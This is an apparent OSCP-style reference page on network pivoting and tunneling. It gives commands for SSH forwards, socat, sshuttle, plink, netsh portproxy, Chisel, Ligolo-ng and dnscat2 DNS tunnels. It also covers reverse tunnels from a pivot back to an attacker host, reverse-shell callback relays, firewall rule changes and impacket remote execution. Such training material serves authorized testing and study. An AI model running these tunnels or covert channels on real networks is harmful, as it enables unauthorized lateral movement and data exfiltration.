Pivoting & tunnels

Client commands / example output

Copy# Baseline
APPLICATION TOOL
  -> local listener / SOCKS endpoint / TUN route
  -> tunnel transport endpoint
  -> pivot exit
  -> internal destination service

CALLBACK TARGET
  -> pivot listener or routable address
  -> relay/tunnel
  -> final listener

# Record
TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects

Linux

Copy# Linux
id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf

Windows

CopyREM Windows
whoami /all
ipconfig /all
route print
arp -a
netstat -ano

PowerShell selected endpoints

Copy# PowerShell selected endpoints
Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4

Shell commands

An interface or route proves a possible network position, not destination reachability. Validate one justified socket from the pivot before building a tunnel.

Copy# Baseline
nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/

PowerShell commands

Copy# Baseline
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT

Kali/Linux

Need	Baseline	Choose when	Main limitation
One TCP service through an SSH pivot	SSH local forward	Kali can initiate SSH to pivot	One destination socket per forward
Many TCP destinations through SSH pivot	SSH dynamic forward	Kali can initiate SSH to pivot	SOCKS/client compatibility
Pivot can connect outward but inbound access is blocked	SSH remote or remote-dynamic forward	Pivot has OpenSSH client and can reach Kali SSH	Kali SSH policy; OpenSSH version for remote dynamic
SSH hop directly to internal SSH	ProxyJump	Both pivot and destination provide SSH	SSH-only path
Simple Linux TCP relay	Socat	Binary already exists and listener can be exposed	Clear TCP relay; no authentication/encryption
Transparent selected subnets through SSH	sshuttle	Suitable SSH server with Python; local privileges	TCP/DNS-oriented, local firewall changes
Windows SSH-based forward	Built-in ssh.exe or Plink	Compatible client exists and outbound SSH works	Server policy and credential/host-key handling
Windows native fixed TCP relay	netsh interface portproxy	Elevated token; target modification acceptable	TCP only; firewall/IP Helper/stateful cleanup
Outbound HTTP/WebSocket-shaped tunnel	Chisel	Pivot can run matching binary and reach server	Client/server compatibility and proxy/client transport limits
Routed access for ordinary clients	Ligolo-ng	Agent can reach proxy and TUN/route setup is possible	Userland stack is not identical to direct raw networking
DNS is the only viable egress	dnscat2	DNS path plus authoritative/direct server control	Slow/noisy, infrastructure and client required

Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.

Copy# Kali/Linux
ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'

Windows

CopyREM Windows
netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"

On a Linux pivot, expose one internal TCP service

Copy# On a Linux pivot, expose one internal TCP service
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage

Copy# Loopback-only relay for another local tunnel stage
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

These checks run on different machines

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

Copy# These checks run on different machines
ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

Run on Kali when Kali can SSH to the pivot

Copy# Run on Kali when Kali can SSH to the pivot
ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

# Use the listener as though it were the internal service
nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

Add reliability and attributable failure to transport-only sessions

The SSH server/pivot resolves and connects to INTERNAL_HOST. Bind to 127.0.0.1 unless another authorized local host must use the forward; -g or a non-loopback bind expands exposure.

Add reliability and attributable failure to transport-only sessions:

Copy# Add reliability and attributable failure to transport-only sessions
-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

Shell commands

Copy# Baseline
ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Run on a pivot that can initiate an SSH connection back to Kali

Copy# Run on a pivot that can initiate an SSH connection back to Kali
ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses

Copy# Kali then uses
nc -nvz 127.0.0.1 KALI_PORT

The SSH client/pivot connects to INTERNAL_HOST. AllowTcpForwarding and server policy must permit the forward. A non-loopback remote bind additionally depends on GatewayPorts; do not assume 0.0.0.0 was honored.

Run on the pivot

Copy# Run on the pivot
ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

These checks run on different machines; do not paste both into one terminal

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

Copy# These checks run on different machines; do not paste both into one terminal
ssh -V
ss -lntp | grep 1080

Direct SSH through an SSH pivot

Copy# Direct SSH through an SSH pivot
ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

# SSH through an existing SOCKS5 endpoint with Ncat
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

Use an SSH configuration for repeated access

Copy# Use an SSH configuration for repeated access
Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot

Use an SSH configuration for repeated access

Copy# Use an SSH configuration for repeated access
ssh internal
scp FILE internal:DESTINATION_PATH

Use a task-specific configuration rather than repeatedly editing a shared global file

Copy# Use a task-specific configuration rather than repeatedly editing a shared global file
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080

Use an SSH configuration for repeated access

Copy# Use an SSH configuration for repeated access
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
  'DOMAIN/USER:PASSWORD@INTERNAL_HOST'

Native examples

• ProxyChains hooks socket calls in dynamically linked programs; some static binaries, scripts, child processes or dynamically loaded modules bypass or break the hook.
• ProxyChains supports TCP only. It does not proxy UDP, ICMP, SYN scans or pcap-based discovery.
• For Nmap use -sT -Pn -n with a focused port list. Proxy scanning is slow and is not a replacement for discovery from the pivot.
• proxy_dns moves supported hostname resolution through the proxy, but application behavior varies. -n prevents Nmap's local reverse lookups.
• Prefer an application's native proxy option when available.

Copy# Native examples
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT

Shell commands

Copy# Baseline
sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

# Through a previously established local forward to the SSH pivot
sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

sshuttle is useful when many TCP clients need transparent access. It requires privileges and firewall/redirection support on the client; the remote side needs a compatible Python execution path. It is not a general layer-2 VPN and does not make arbitrary raw-packet or UDP behavior equivalent to direct routing. Record the selected subnets so existing VPN routes are not accidentally captured.

8.1 Built-in OpenSSH client

CopyREM 8.1 Built-in OpenSSH client
where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

REM Remote fixed forward from Windows to Kali
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

REM Local dynamic SOCKS on Windows
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

REM Elevated Windows shell
netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

REM 8.3 Netsh portproxy
netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

REM Cleanup
netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

Current Plink supports -L, -R and -D, but not OpenSSH's remote-dynamic shorthand. -batch prevents an unseen prompt from hanging; pair it with a verified -hostkey. -pwfile avoids a literal password in the command line but creates a sensitive file that must be protected and removed. Prefer a key or existing authenticated context where feasible.

portproxy requires an elevated token, forwards TCP rather than UDP, modifies persistent host configuration and may depend on the IP Helper service. A stored rule or listening socket still does not prove the destination is reachable. Record and remove both the proxy and any firewall rule.

On Kali

Copy# On Kali
chisel server --reverse --port CHISEL_PORT

On the pivot

Record the server fingerprint. On the pivot:

Copy# On the pivot
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

# Baseline
# Kali
chisel server --reverse --port CHISEL_PORT

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

# Baseline
chisel --version
chisel server --help
chisel client --help
ss -lntp

Shell commands

Copy# Baseline
# Pivot/server side
chisel server --socks5 --port CHISEL_PORT

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current upstream Chisel distinguishes

Copy# Current upstream Chisel distinguishes
socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE

Shell commands

Copy# Baseline
# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

This does not make ProxyChains UDP-capable—ProxyChains remains TCP-only. The UDP application must support SOCKS5 UDP ASSOCIATE, or another compatible adapter must be used. Current Chisel peers, TCP and UDP firewall access to the SOCKS listener, and its documented association/fragmentation limits all matter.

On Kali

Copy# On Kali
./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint

Copy# In the proxy console, obtain the fingerprint
certificate_fingerprint

On the pivot

Copy# On the pivot
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

In the Ligolo console

Copy# In the Ligolo console
interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative

Copy# Manual Linux alternative
sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

# Then use normal clients
ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

# Add one narrow route
sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

In the selected Ligolo session

Copy# In the selected Ligolo session
listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener

Copy# Kali listener
ncat -lvn 127.0.0.1 KALI_PORT

Cleanup

Copy# Cleanup
listener_stop LISTENER_ID

Authoritative-domain mode

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

Copy# Authoritative-domain mode
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

# Client
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

# Direct DNS-server mode shown by the server's own usage output
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console

Copy# Server console
windows
window -i SESSION_ID
help

A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.

Shell commands

• Decide whether the application resolves the name locally, ProxyChains intercepts it, the SOCKS exit resolves it, or the pivot's configured resolver handles it.
• Use numeric addresses for route validation; then restore the confirmed hostname when the application protocol requires it.
• Kerberos needs an SPN-compatible hostname, realm/KDC route and correct time. A working IP connection does not prove Kerberos naming works.
• A temporary host mapping is acceptable only for a confirmed in-scope address/name pair and must be recorded.

Copy# Baseline
getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST

# Baseline
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
  'DOMAIN/USER@TARGET_HOST'

A forward path and callback path are different graphs

Copy# A forward path and callback path are different graphs
Kali -> tunnel -> internal service       # access path
internal target -> pivot -> Kali listener # callback path

Fixed SSH callback relay, run from the pivot

1. make the callback directly to an address the internal host already reaches;
2. expose a listener on the pivot and relay it to Kali;
3. use a Ligolo agent listener or SSH/Chisel remote forward;
4. choose a non-callback technique such as authenticated remote execution.

Copy# Fixed SSH callback relay, run from the pivot
ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
  KALI_USER@LHOST -o ExitOnForwardFailure=yes

For every additional hop, write another complete segment

Copy# For every additional hop, write another complete segment
Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT

• validate one hop before adding the next;
• avoid overlapping local/VPN/internal routes;
• use unique listener and SOCKS ports;
• record which session owns each route;
• ensure the deeper agent/client can reach the upstream listener;
• re-evaluate DNS and callback direction at every hop;
• prefer a routed method for several deep services instead of stacking many opaque wrappers.